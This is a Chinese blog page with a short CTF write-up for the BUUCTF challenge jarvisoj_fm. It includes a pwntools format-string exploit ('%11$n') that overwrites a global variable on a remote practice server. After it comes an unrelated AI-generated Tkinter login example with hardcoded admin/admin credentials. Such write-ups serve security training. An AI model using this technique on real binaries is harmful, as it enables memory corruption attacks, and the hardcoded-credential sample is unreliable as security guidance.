jarvisoj_fm【BUUCTF】

37 篇文章 0 订阅
37 篇文章 3 订阅

在这里插入图片描述
开启了NX、canary,动态编译,32位,IDA分析:
在这里插入图片描述
很明显为格式化字符串漏洞,将x设为4即可

from pwn import *
# io = process("./fm")
io = remote("node4.buuoj.cn",29788)
x_addr = 0x0804A02C
payload = p32(x_addr) + b'%11$n'
io.sendline(payload)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
您提到的 "login_window_fm" 可能是指登录窗口的相关代码。以下是一个简单的使用Python和Tkinter库创建登录窗口的示例: ```python from tkinter import * def login(): username = entry_username.get() password = entry_password.get() # 在此处添加验证用户名和密码的逻辑 if username == "admin" and password == "admin": lbl_result.config(text="登录成功", fg="green") else: lbl_result.config(text="用户名或密码错误", fg="red") # 创建主窗口 window = Tk() window.title("登录窗口") # 创建标签和输入框 lbl_username = Label(window, text="用户名:") lbl_username.pack() entry_username = Entry(window) entry_username.pack() lbl_password = Label(window, text="密码:") lbl_password.pack() entry_password = Entry(window, show="*") entry_password.pack() # 创建登录按钮和结果标签 btn_login = Button(window, text="登录", command=login) btn_login.pack() lbl_result = Label(window, text="") lbl_result.pack() # 运行主循环 window.mainloop() ``` 这段代码使用Tkinter库创建一个简单的登录窗口。用户需要在用户名输入框和密码输入框中输入相应的信息,然后点击登录按钮进行验证。如果用户名和密码为 "admin",则显示登录成功,否则显示用户名或密码错误。 请注意,这只是一个简单的示例,仅用于演示如何创建登录窗口。在实际应用中,您需要添加适当的验证逻辑和安全措施来保护用户的信息安全。 希望对您有所帮助!如果您有任何其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值